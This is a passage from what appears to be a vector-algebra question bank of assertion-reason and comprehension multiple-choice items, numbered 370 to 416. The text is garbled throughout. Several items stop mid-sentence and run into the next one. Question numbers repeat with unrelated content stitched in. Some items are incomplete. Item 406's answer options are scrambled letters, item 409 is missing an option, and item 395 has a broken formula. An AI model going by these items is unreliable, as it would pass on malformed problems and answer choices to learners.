= a_3/b_3$. (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not the correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 370. Assertion: Let $\overrightarrow{a} = \hat{i} + \hat{j}$ and $\overrightarrow{b} = \hat{j} - \hat{k}$ be two vectors. Angle between $\overrightarrow{a} + \overrightarrow{b}$ and $\overrightarrow{a} - \overrightarrow{b} = 90^\circ$ Reason: Projection of $\overrightarrow{a} + \overrightarrow{b}$ on $\overrightarrow{a} - \overrightarrow{b}$ is zero (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 371. Assertion: $\overrightarrow{c}, 4\overrightarrow{a} - \overrightarrow{b}$, and $\overrightarrow{a}, \overrightarrow{c}$ are coplanar. Reason Vector $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}$ are linearly dependent. (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 372. Assertion: \( |\overrightarrow{a}| = |\overrightarrow{b}| \) does not imply that \( \overrightarrow{a} = \overrightarrow{b} \), Reason: If \( \overrightarrow{a} = \overrightarrow{b} \), then \( |\overrightarrow{a}| = |\overrightarrow{b}| \) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 373. Assertion: If \( \overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c} \) are unit such that \( \overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c} = 0 \) then \( \overrightarrow{a} \cdot \overrightarrow{b} + \overrightarrow{b} \cdot \overrightarrow{c} + \overrightarrow{c} \cdot \overrightarrow{a} = -\frac{3}{2} \), Reason \( (\overrightarrow{x} + \overrightarrow{y})^2 = |\overrightarrow{x}|^2 + |\overrightarrow{y}|^2 + 2(\overrightarrow{x} \cdot \overrightarrow{y}) \) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 374. Assertion: Three points with position vectors \( \overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c} \) are collinear if \( \overrightarrow{a} \times \overrightarrow{b} + \overrightarrow{b} \times \overrightarrow{c} + \overrightarrow{c} \times \overrightarrow{a} = 0 \) Reason: Three points A,B,C 374. If points A, B and C are collinear Iff $\overrightarrow{AB} \times \overrightarrow{AC} = \overrightarrow{0}$ (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 375. Assertion: If as force $\overrightarrow{F}$ passes through $Q\left(\overrightarrow{b}\right)$ then moment of force $\overrightarrow{F}$ about P($\overrightarrow{a}$) is $\overrightarrow{F} \times \overrightarrow{r}$, where $\overrightarrow{r} = \overrightarrow{PQ}$, Reason Moment is a vector. (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 376. Let A($\overrightarrow{a}$), B ($\overrightarrow{b}$) and C($\overrightarrow{c}$) be the vertices of the triangle with circumcenter at origin. Assertion: The nine point centre will be $\left(\frac{\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}}{2}\right)$, Reason: Centroid of $\triangle ABC$ is $\left(\frac{\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}}{3}\right)$ and nine point centre is the middle point of the line segment joining 376. Assertion: The circumcentre and orthocentre of a triangle are always collinear. Reason: The circumcentre and orthocentre are always collinear. (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 377. Assertion: The scalar product of a force $\vec{F}$ and displacement $\vec{r}$ is equal to the work done. Reason: Work done is not a scalar (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 378. Assertion: In a $\triangle ABC$, $\overrightarrow{AB} + \overrightarrow{BC} + \overrightarrow{CA} = 0$, Reason: If $\overrightarrow{AB} = \overrightarrow{a}$, $\overrightarrow{BC} = \overrightarrow{b}$ then $\overrightarrow{C} = \overrightarrow{a} + \overrightarrow{b}$ (triangle law of addition) (A) 379. Assertion: For \( a = -\frac{1}{\sqrt{3}} \) the volume of the parallelopiped formed by vectors \( \hat{i} + a\hat{j}, a\hat{i} + \hat{j} + \hat{k} \) and \( \hat{j} + a\hat{k} \) is maximum. Reason. The volume of the parallelopiped having the three coterminal edges \( \vec{a}, \vec{b} \) and \( \vec{c} = \left| \begin{bmatrix} \vec{a} & \vec{b} & \vec{c} \end{bmatrix} \right| \) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not the correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 380. Assertion: If \( \vec{a} \) is perpendicular to \( \vec{b} \) and \( \vec{c} \), then \( \vec{a} \times (\vec{b} \times \vec{c}) = 0 \) Reason: If \( \vec{b} \) is perpendicular to \( \vec{c} \) then \( \vec{b} \times \vec{c} = 0 \) (A) Both A and R are true and R is the correct 381. Assertion: If \(|\overrightarrow{a}| = 2, |\overrightarrow{b}| = 3, |2\overrightarrow{a} - \overrightarrow{b}| = 5\), then \(|2\overrightarrow{a} + \overrightarrow{b}| = 5\), Reason: \(|\overrightarrow{p} - \overrightarrow{q}| = |\overrightarrow{p} + \overrightarrow{q}|\) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 382. Statement I: If in a \(\Delta ABC\), \(BC = \frac{p}{|p|} - \frac{q}{|q|}\) and \(C = \frac{2p}{|p|}, |p| \neq |q|\), then the value of \(\cos 2A + \cos 2B + \cos 2C\) is -1. Statement II: If in \(\Delta ABC\), \(\angle C = 90^\circ\), then \(\cos 2A + \cos 2B + \cos 2C = -1\) 383. Assertion: If \(\overrightarrow{a} \times \overrightarrow{b} = \overrightarrow{c} \times \overrightarrow{d}\) and \(\overrightarrow{a} \times \overrightarrow{c} = \overrightarrow{b} \times \overrightarrow{d}\), then \((\overrightarrow{a} - \overrightarrow{d})\) is perpendicular to \((\overrightarrow{b} - \overrightarrow{c})\). Reason: If \(\overrightarrow{p}\) is perpendicular to \(\overrightarrow{q}\) then \(\overrightarrow{p} \cdot \overrightarrow{q} = 0\) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not the correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 384. Assertion: If \(\overrightarrow{r} \cdot \overrightarrow{a} = 0, \overrightarrow{r} \cdot \overrightarrow{b} = 0, \overrightarrow{r} \cdot \overrightarrow{c} = 0\) for some non-zero vector \(\overrightarrow{r}\) then \(\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}\) are coplanar vectors. Reason: If \(\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}\) are coplanar then \(\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c} = 0\) (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not the correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 385. Assertion: If $\vec{a}$ and $\vec{b}$ are reciprocal vectors, then $\vec{a} \cdot \vec{b} = 1$. Reason: If $\vec{a} = \lambda \vec{b}$, $\lambda \in R^+$ and $|\vec{a}| |\vec{b}| = 1$, then $\vec{a}$ and $\vec{b}$ are reciprocal. (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 386. Assertion: Let $\vec{a}$ and $\vec{b}$ be any two vectors $(\vec{a} \times \hat{i}) \cdot (\vec{b} \times \hat{i}) + (\vec{a} \times \hat{j}) \cdot (\vec{b} \times \hat{j}) + (\vec{a} \times \hat{k}) \cdot (\vec{b} \times \hat{k}) = 2 \vec{a} \cdot \vec{b}$. (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not te correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 387. Assertion: The vector product of a force $\vec{F}$ and displacement $\vec{r}$ is equal to the work done. Reason: Work is not a vector. (A) Both A and R are 388. Consider three vectors $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$. Vectors $\overrightarrow{a}$ and $\overrightarrow{b}$ are unit vectors having an angle $\theta$ between them. For vector veca, $|\overrightarrow{a}|^2 = \overrightarrow{a} \cdot \overrightarrow{a}$. If $\overrightarrow{a} \perp \overrightarrow{b}$ and $\overrightarrow{a} \perp \overrightarrow{c}$ then $\overrightarrow{a} \parallel \overrightarrow{b} \times \overrightarrow{c}$. If $|\overrightarrow{a}| = |\overrightarrow{b}|$, then $\overrightarrow{a} = t \overrightarrow{b}$. Now answer the following question: The value of $\sin\left(\frac{\theta}{2}\right)$ is (A) $\frac{1}{2}|\overrightarrow{a} - \overrightarrow{b}|$ (B) $\frac{1}{2}|\overrightarrow{a} + \overrightarrow{b}|$ (C) $|\overrightarrow{a} - \overrightarrow{b}|$ (D) $|\overrightarrow{a} + \overrightarrow{b}|$ 389. Consider three vectors $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$. Vectors $\overrightarrow{a}$ and $\overrightarrow{b}$ are unit vectors having an angle $\theta$ between them. For vector veca, $|\overrightarrow{a}|^2 = \overrightarrow{a} \cdot \overrightarrow{a}$. If $\overrightarrow{a} \perp \overrightarrow{b}$ and $\overrightarrow{a} \perp \overrightarrow{c}$ then $\overrightarrow{a} \parallel \overrightarrow{b} \times \overrightarrow{c}$. If $|\overrightarrow{a}| = |\overrightarrow{b}|$, then $\overrightarrow{a} = t \overrightarrow{b}$. Now answer the following question: If $\overrightarrow{c}$ is a unit vector and equal to the 389. If the magnitude of sum of $\overrightarrow{a}$ and $\overrightarrow{b}$ is 1, then the magnitude of difference between $\overrightarrow{a}$ and $\overrightarrow{b}$ is (A) 1 (B) $\sqrt{2}$ (C) $\sqrt{3}$ (D) $\frac{1}{\sqrt{2}}$ 390. Let $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ be unit vectors such that $\overrightarrow{a} \cdot \overrightarrow{b} = 0 = \overrightarrow{a} \cdot \overrightarrow{c}$. If the angle between $\overrightarrow{b}$ and $\overrightarrow{c}$ is $\frac{\pi}{6}$, then find $\overrightarrow{a}$. 391. Consider three vectors $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$. Vectors $\overrightarrow{a}$ and $\overrightarrow{b}$ are unit vectors having an angle $\theta$ between them. For vector $\overrightarrow{a}$, $|\overrightarrow{a}|^2 = \overrightarrow{a} \cdot \overrightarrow{a}$. If $\overrightarrow{a} \perp \overrightarrow{b}$ and $\overrightarrow{a} \perp \overrightarrow{c}$, then $\overrightarrow{a} \parallel \overrightarrow{b} \times \overrightarrow{c}$. If $|\overrightarrow{a}| = |\overrightarrow{b}|$, then $\overrightarrow{a} = t \overrightarrow{b}$. Now answer the following question: If $|\overrightarrow{c}| = 4$, $\theta = \cos^{-1}\left(\frac{1}{4}\right)$, and $\overrightarrow{c} = 2\overrightarrow{b} + t\overrightarrow{a}$, then $t =$ (A) 3, -4 (B) -3, 4 (C) 3, 4 (D) -3, -4 392. For vectors $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}, \overrightarrow{d}$, $\overrightarrow{a} \times (\overrightarrow{b} \times \overrightarrow{c}) = (\overrightarrow{a} \cdot \overrightarrow{c})\overrightarrow{b} - (\overrightarrow{a} \cdot \overrightarrow{b})\overrightarrow{c}$ and $(\overrightarrow{a} \times \overrightarrow{b}) \cdot (\overrightarrow{c} \times \overrightarrow{d})$ is equal to (A) $\overrightarrow{a} \cdot (\overrightarrow{b} \times (\overrightarrow{c} \times \overrightarrow{d}))$ (B) $|\overrightarrow{a}|(\overrightarrow{b} \cdot (\overrightarrow{c} \times \overrightarrow{d}))$ (C) $|\overrightarrow{a} \times \overrightarrow{b}| \cdot |\overrightarrow{c} \times \overrightarrow{d}|$ (D) none of these Watch Video Solution 393. For vectors $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}, \overrightarrow{d}$, $\overrightarrow{a} \times (\overrightarrow{b} \times \overrightarrow{c}) = (\overrightarrow{a} \cdot \overrightarrow{c})\overrightarrow{b} - (\overrightarrow{a} \cdot \overrightarrow{b})\overrightarrow{c}$ and $(\overrightarrow{a} \times \overrightarrow{b}) \cdot (\overrightarrow{c} \times \overrightarrow{d})$ is equal to (A) $\overrightarrow{a} \cdot (\overrightarrow{b} \times (\overrightarrow{c} \times \overrightarrow{d}))$ (B) $|\overrightarrow{a}|(\overrightarrow{b} \cdot (\overrightarrow{c} \times \overrightarrow{d}))$ (C) $|\overrightarrow{a} \times \overrightarrow{b}| \cdot |\overrightarrow{c} \times \overrightarrow{d}|$ (D) none of these Watch Video Solution 394. For vectors $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}, \overrightarrow{d}$, $\overrightarrow{a} \times (\overrightarrow{b} \times \overrightarrow{c}) = (\overrightarrow{a} \cdot \overrightarrow{c})\overrightarrow{b} - (\overrightarrow{a} \cdot \overrightarrow{b})\overrightarrow{c}$ and $(\overrightarrow{a} \times \overrightarrow{b}) \cdot (\overrightarrow{c} \times \overrightarrow{d})$. Now answer the following question: $\left\{(\overrightarrow{a} \times \overrightarrow{b}) \cdot (\overrightarrow{c} \times \overrightarrow{d})\right\} \cdot \overrightarrow{d}$ would be equal to (A) $\overrightarrow{a} \cdot \left(\overrightarrow{b} \times \left(\overrightarrow{c} \times \overrightarrow{d}\right)\right)$ (B) $\left(\left(\overrightarrow{a} \times \overrightarrow{c}\right) \times \overrightarrow{b}\right) \cdot \overrightarrow{d}$ (C) $(\overrightarrow{a} \times \overrightarrow{b}) \cdot (\overrightarrow{c} \times \overrightarrow{d})$ (D) none of these 395. Unit vector along $\overrightarrow{a}$ is denoted by $\hat{a}$ (if $|\overrightarrow{a}| = 1$, $\overrightarrow{a}$ is called a unit vector). Also $\frac{\overrightarrow{a}}{|\overrightarrow{a}|} = \hat{a}$ and $\overrightarrow{a} = |\overrightarrow{a}| \hat{a}$. Suppose $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}$ are three non parallel unit vectors such that $\overrightarrow{a} \times (\overrightarrow{b} \times \overrightarrow{c}) = \frac{1}{2} \overrightarrow{b}$ and $\overrightarrow{p} \times (\overrightarrow{q} \times \overrightarrow{r}) = \left(\overrightarrow{p} \cdot \overrightarrow{r} \cdot \overrightarrow{q}\right) - \left(\overrightarrow{p} \cdot \overrightarrow{q}\right) \overrightarrow{r}\right]$. Angle between $\overrightarrow{a}$ and $\overrightarrow{b}$ is (A) $90^\circ$ (B) $30^\circ$ (C) $60^\circ$ (D) none of these 396. Unit vector along $\vec{a}$ is denoted by $\hat{a}$ (if $|\vec{a}| = 1$, $\vec{a}$ is called a unit vector). Also $\frac{\vec{a}}{|\vec{a}|} = \hat{a}$ and $\vec{a} = |\vec{a}| \hat{a}$. Suppose $\vec{a}, \vec{b}, \vec{c}$ are three non parallel unit vectors such that $\vec{a} \times (\vec{b} \times \vec{c}) = \frac{1}{2} \vec{b}$ and $\vec{p} \times (\vec{q} \times \vec{r}) = (\vec{p} \cdot \vec{r}) \vec{q} - (\vec{p} \cdot \vec{q}) \vec{r}$. Angle between $\vec{a}$ and $\vec{c}$ is (A) $120^\circ$ (B) $60^\circ$ (C) $30^\circ$ (D) none of these 397. Unit vector along $\vec{a}$ is denoted by $\hat{a}$ (if $|\vec{a}| = 1$, $\vec{a}$ is called a unit vector). Also $\frac{\vec{a}}{|\vec{a}|} = \hat{a}$ and $\vec{a} = |\vec{a}| \hat{a}$. Suppose $\vec{a}, \vec{b}, \vec{c}$ are three non parallel unit vectors such that $\vec{a} \times (\vec{b} \times \vec{c}) = \frac{1}{2} \vec{b}$ and $\vec{p} \times (\vec{q} \times \vec{r}) = (\vec{p} \cdot \vec{r}) \vec{q} - (\vec{p} \cdot \vec{q}) \vec{r}$. $|\vec{a} \times \vec{c}|$ is equal to (A) $\frac{1}{2}$ (B) $\frac{\sqrt{3}}{2}$ (C) $\frac{3}{4}$ (D) none of these 398. For any three vectors $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ their product would be a vector if one cross product is followed by other cross product i.e $(\overrightarrow{a} \times \overrightarrow{b}) \times \overrightarrow{c}$ or $(\overrightarrow{b} \times \overrightarrow{c}) \times \overrightarrow{a}$ etc. For any four vectors $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$, $\overrightarrow{d}$ the product would be a vector with the help of sequential cross product or by cross product of two vectors obtained by cross product of two pair i.e. $(\overrightarrow{a} \times (\overrightarrow{b} \times \overrightarrow{c})) \times \overrightarrow{d}$ or $(\overrightarrow{a} \times \overrightarrow{b}) \times (\overrightarrow{c} \times \overrightarrow{d})$. Now answer the following question: $(\overrightarrow{a} \times \overrightarrow{b}) \times (\overrightarrow{c} \times \overrightarrow{d})$ would be a vector (A) perpendicular to $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$, $\overrightarrow{d}$ (B) parallel to $\overrightarrow{a}$ and $\overrightarrow{c}$ (C) parallel to $\overrightarrow{b}$ and $\overrightarrow{d}$ (D) none of these 399. For any three vectors $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ their product would be a vector if one cross product is followed by other cross product i.e $(\overrightarrow{a} \times \overrightarrow{b}) \times \overrightarrow{c}$ or $(\overrightarrow{b} \times \overrightarrow{c}) \times \overrightarrow{a}$ etc. For any four vectors $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$, $\overrightarrow{d}$ the product would be a vector with the help of sequential cross product or by cross product of two vectors obtained by cross 400. For any three vectors $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}$ their product would be a vector if one cross product is followed by other cross product i.e. $(\overrightarrow{a} \times \overrightarrow{b}) \times \overrightarrow{c}$ or $(\overrightarrow{b} \times \overrightarrow{c}) \times \overrightarrow{a}$ etc. For any four vectors $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}, \overrightarrow{d}$ the product would be a vector with the help of sequential cross product or by cross product of two vectors obtained by cross product of two pair i.e. $(\overrightarrow{a} \times (\overrightarrow{b} \times \overrightarrow{c})) \times \overrightarrow{d}$ or $(\overrightarrow{a} \times \overrightarrow{b}) \times (\overrightarrow{c} \times \overrightarrow{d})$. Now answer the following question: $(\overrightarrow{a} \times \overrightarrow{b}) \times (\overrightarrow{c} \times \overrightarrow{d})$ would be a (A) equally inclined with $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}, \overrightarrow{d}$ (B) perpendicular with $(\overrightarrow{a} \times \overrightarrow{b}) \times \overrightarrow{c}$ and $\overrightarrow{c}$ (C) equally inclined with $\overrightarrow{a} \times \overrightarrow{b}$ and $\overrightarrow{c} \times \overrightarrow{d}$ (D) none of these 401. If O be the origin the vector $\overrightarrow{OP}$ is called the position vector of point P. Also $\overrightarrow{AB} = \overrightarrow{OB} - \overrightarrow{OA}$. Three points are said to be collinear if they lie on the same straight line. Points A, B, C are collinear if one of them divides the line segment joining the others two in some ratio. Also points A, B, C are collinear if and only if $\overrightarrow{AB} \times \overrightarrow{AC} = \overrightarrow{0}$. Let the points A, B, and C having position vectors $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ be collinear. Now answer the following question: $t\overrightarrow{a} + s\overrightarrow{b} = (t+s)\overrightarrow{c}$ where t and s are scalar. (A) $t\overrightarrow{a} + s\overrightarrow{b} = (t+s)\overrightarrow{c}$ where t and s are scalar (B) $\overrightarrow{a} = \overrightarrow{b}$ (C) $\overrightarrow{b} = \overrightarrow{c}$ (D) none of these 402. If \( O \) be the origin the vector \( \overrightarrow{OP} \) is called the position vector of point \( P \). Also \( \overrightarrow{AB} = \overrightarrow{OB} - \overrightarrow{OA} \). Three points are said to be collinear if they lie on the same straight line. Points A, B, C are collinear if one of them divides the line segment joining the others two in some ratio. Also points A, B, C are collinear if and only if \( \overrightarrow{AB} \times \overrightarrow{AC} = \overrightarrow{0} \). Let the points A, B, and C having position vectors \( \overrightarrow{a}, \overrightarrow{b} \) and \( \overrightarrow{c} \) be collinear. Now answer the following question: The exists scalars \( x, y, z \) such that (A) \( x \overrightarrow{a} + y \overrightarrow{b} + z \overrightarrow{c} = 0 \) and \( x + y + z \neq 0 \) (B) \( x \overrightarrow{a} + y \overrightarrow{b} + z \overrightarrow{c} \neq 0 \) and \( x + y + z \neq 0 \) (C) \( x \overrightarrow{a} + y \overrightarrow{b} + z \overrightarrow{c} = 0 \) and \( x + y + z = 0 \) (D) none of these 403. If \( O \) be the origin the vector \( \overrightarrow{OP} \) is called the position vector of point \( P \). Also \( \overrightarrow{AB} = \overrightarrow{OB} - \overrightarrow{OA} \). Three points are said to be collinear if they lie on the same straight line. Points A, B, C are collinear if one of them divides the line segment joining the others two in some ratio. Also points A, B, C are collinear if and only if \( \overrightarrow{AB} \times \overrightarrow{AC} = \overrightarrow{0} \). Let the points A, B, and C having position vectors $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ be collinear Now answer the following question: (A) $\overrightarrow{a} \cdot \overrightarrow{b} = \overrightarrow{a} \cdot \overrightarrow{c}$ (B) $\overrightarrow{a} \times \overrightarrow{b} = \overrightarrow{c}$ (C) $\overrightarrow{a} \times \overrightarrow{b} + \overrightarrow{b} \times \overrightarrow{c} + \overrightarrow{c} \times \overrightarrow{a} = \overrightarrow{0}$ (D) none of these 404. Prove that $\left[ \begin{array}{ccc} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{b} \\ \overrightarrow{b} & \overrightarrow{c} & \overrightarrow{c} \\ \overrightarrow{c} & \overrightarrow{a} & \overrightarrow{a} \end{array} \right] = 2 \left[ \begin{array}{ccc} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{array} \right]$ 405. $\overrightarrow{a} \cdot (\overrightarrow{b} \times \overrightarrow{c})$ is called the scalar triple product of $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ and is denoted by $\left[ \begin{array}{ccc} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{array} \right]$. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are coplanar then $\left[ \begin{array}{ccc} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{b} \\ \overrightarrow{b} & \overrightarrow{c} & \overrightarrow{c} \\ \overrightarrow{c} & \overrightarrow{a} & \overrightarrow{a} \end{array} \right]$ = (A) 1 (B) -1 (C) 0 (D) none of these 406. \(\overrightarrow{a} \cdot (\overrightarrow{b} \times \overrightarrow{c})\) is called the scalar triple product of \(\overrightarrow{a}\), \(\overrightarrow{b}\), \(\overrightarrow{c}\) and is denoted by \([\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]\). If \(\overrightarrow{a}\), \(\overrightarrow{b}\), \(\overrightarrow{c}\) are cyclically permuted, the value of the scalar triple product remains the same. In a scalar triple product, interchange of two vectors changes the sign of the scalar triple product but not the magnitude. In scalar triple product, the position of the dot and cross can be interchanged provided the cyclic order of vectors is preserved. Also, the scalar triple product is zero if any two vectors are equal or parallel. (A) \([\overrightarrow{v} \overrightarrow{e} \overrightarrow{c} \overrightarrow{b} \overrightarrow{v} \overrightarrow{e} \overrightarrow{c} \overrightarrow{a} \overrightarrow{v} \overrightarrow{e} \overrightarrow{b}]\) (B) \([\overrightarrow{v} \overrightarrow{e} \overrightarrow{a} \overrightarrow{v} \overrightarrow{e} \overrightarrow{b} \overrightarrow{v} \overrightarrow{e} \overrightarrow{c}]\) (C) 0 (D) none of these 407. Let A, B, C be vertices of a triangle ABC in which B is taken as the origin of reference and position vectors of A and C are \(\overrightarrow{a}\) and \(\overrightarrow{c}\) respectively. A line AR parallel to BC is drawn from A (P is the midpoint of AB) meets AC at Q and area of triangle ACR is 2 times the area of triangle ABC. The position vector of R in terms of \(\overrightarrow{a}\) and \(\overrightarrow{c}\) is (A) \(\overrightarrow{a} + 2\overrightarrow{c}\) (B) \(\overrightarrow{a} + 3\overrightarrow{c}\) (C) \(\overrightarrow{a} + \overrightarrow{c}\) (D) \(\overrightarrow{a} + 4\overrightarrow{c}\) 408. Let A, B, C be vertices of a triangle ABC in which B is taken as origin of reference and position vectors of A and C are $\overrightarrow{a}$ and $\overrightarrow{c}$ respectively. A line AR parallel to BC is drawn from A PR (P is the mid point of AB) meets AC and Q and area of triangle ACR is 2 times area of triangle ABC. Position vector of Q for position vector of R in (1) is (A) $\frac{2\overrightarrow{a} + 3\overrightarrow{c}}{5}$ (B) $\frac{3\overrightarrow{a} + 2\overrightarrow{c}}{5}$ (C) $\frac{\overrightarrow{a} + 2\overrightarrow{c}}{5}$ (D) none of these 409. Let A, B, C be vertices of a triangle ABC in which B is taken as origin of reference and position vectors of A and C are $\overrightarrow{a}$ and $\overrightarrow{c}$ respectively. A line AR parallel to BC is drawn from A PR (P is the mid point of AB) meets AC and Q and area of triangle ACR is 2 times area of triangle ABC: ((PQ)/(QR)).((AQ)/(QC)) is equal to (B) $\frac{1}{10}$ (C) $\frac{2}{5}$ (D) $\frac{3}{5}$ 410. Let A, B, C represent the vertices of a triangle, where A is the origin and B and C have position b and c respectively.* Points M, N and P are taken on sides AB, BC and CA respectively, such that \(\frac{AM}{AB} = \frac{BN}{BC} = \frac{CP}{CA} = \alpha\). If \(\triangle\) represent the area enclosed by the three vectors AN, BP and CM, then the value of \(\alpha\), for which \(\triangle\) is least 411. Let A, B, C represent the vertices of a triangle, where A is the origin and B and C have position b and c respectively.* Points M, N and P are taken on sides AB, BC and CA respectively, such that \(\frac{AM}{AB} = \frac{BN}{BC} = \frac{CP}{CA} = \alpha\). If \(\triangle\) represent the area enclosed by the three vectors AN, BP and CM, then the value of \(\alpha\), for which \(\triangle\) is least 412. Let $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ be three vectors such that $|\overrightarrow{a}| = |\overrightarrow{b}| = |\overrightarrow{c}| = 4$ and angle between $\overrightarrow{a}$ and $\overrightarrow{b}$ is $\frac{\pi}{3}$, angle between $\overrightarrow{b}$ and $\overrightarrow{c}$ is $\frac{\pi}{3}$, and angle between $\overrightarrow{c}$ and $\overrightarrow{a}$ is $\frac{\pi}{3}$. The volume of the parallelopiped whose adjacent edges are represented by the vectors $\overrightarrow{a}$, $\overrightarrow{b}$, and $\overrightarrow{c}$ is (A) $24\sqrt{2}$ (B) $24\sqrt{3}$ (C) $32\sqrt{92}$ (D) $32\sqrt{ } 413. Let $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ be three vectors such that $|\overrightarrow{a}| = |\overrightarrow{b}| = |\overrightarrow{c}| = 4$ and angle between $\overrightarrow{a}$ and $\overrightarrow{b}$ is $\frac{\pi}{3}$, angle between $\overrightarrow{b}$ and $\overrightarrow{c}$ is $\frac{\pi}{3}$, and angle between $\overrightarrow{c}$ and $\overrightarrow{a}$ is $\frac{\pi}{3}$. The height of the parallelopiped whose adjacent edges are represented by the vectors $\overrightarrow{a}$, $\overrightarrow{b}$, and $\overrightarrow{c}$ is (A) $4\sqrt{\frac{2}{3}}$ (B) $3\sqrt{\frac{2}{3}}$ (C) $4\sqrt{\frac{3}{2}}$ (D) $3\sqrt{\frac{3}{2}}$ 414. Let $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ be three vectors such that $|\overrightarrow{a}| = |\overrightarrow{b}| = |\overrightarrow{c}| = 4$ and angle between $\overrightarrow{a}$ and $\overrightarrow{b}$ is $\frac{\pi}{3}$, angle between $\overrightarrow{b}$ and $\overrightarrow{c}$ is $\frac{\pi}{3}$, and angle between $\overrightarrow{c}$ and $\overrightarrow{a}$ is $\frac{\pi}{3}$. The volume of the tetrahedron whose adjacent edges are represented by the vectors $\overrightarrow{a}$, $\overrightarrow{b}$, and $\overrightarrow{c}$ is (A) $\frac{4\sqrt{3}}{2}$ (B) $\frac{8\sqrt{2}}{3}$ (C) $\frac{16}{\sqrt{3}}$ (D) $\frac{16\sqrt{2}}{3}$ 415. Let $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ be three vectors such that $|\overrightarrow{a}| = |\overrightarrow{b}| = |\overrightarrow{c}| = 4$ and angle between $\overrightarrow{a}$ and $\overrightarrow{b}$ is $\frac{\pi}{3}$, angle between $\overrightarrow{b}$ and $\overrightarrow{c}$ is $\frac{\pi}{3}$, and angle between $\overrightarrow{c}$ and $\overrightarrow{a}$ is $\frac{\pi}{3}$. The volume of the triangular prism whose adjacent edges are represented by the vectors $\overrightarrow{a}$, $\overrightarrow{b}$, and $\overrightarrow{c}$ is (A) $12\sqrt{12}$ (B) $12\sqrt{3}$ (C) $16\sqrt{2}$ (D) $16\sqrt{3}$ 416. If $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ be any three non coplanar vectors. Then the system of vectors $\overrightarrow{a}'$, $\overrightarrow{b}'$ and $\overrightarrow{c}'$, which satisfies $\overrightarrow{a} \cdot \overrightarrow{a}' = \overrightarrow{b} \cdot \overrightarrow{b}' = \overrightarrow{c} \cdot \overrightarrow{c}' = 1$ and $\overrightarrow{a} \cdot \overrightarrow{b}' = \overrightarrow{a} \cdot \overrightarrow{c}' = \overrightarrow{b} \cdot \overrightarrow{a}' = \overrightarrow{b} \cdot \overrightarrow{c}' = \overrightarrow{c} \cdot \overrightarrow{a}' = \overrightarrow{c} \cdot \overrightarrow{b}' = 0$ is called the reciprocal system to the vectors $\overrightarrow{a}$, $\overrightarrow{b}$, and $\overrightarrow{c}$. The value of $\left[ \begin{array}{ccc} 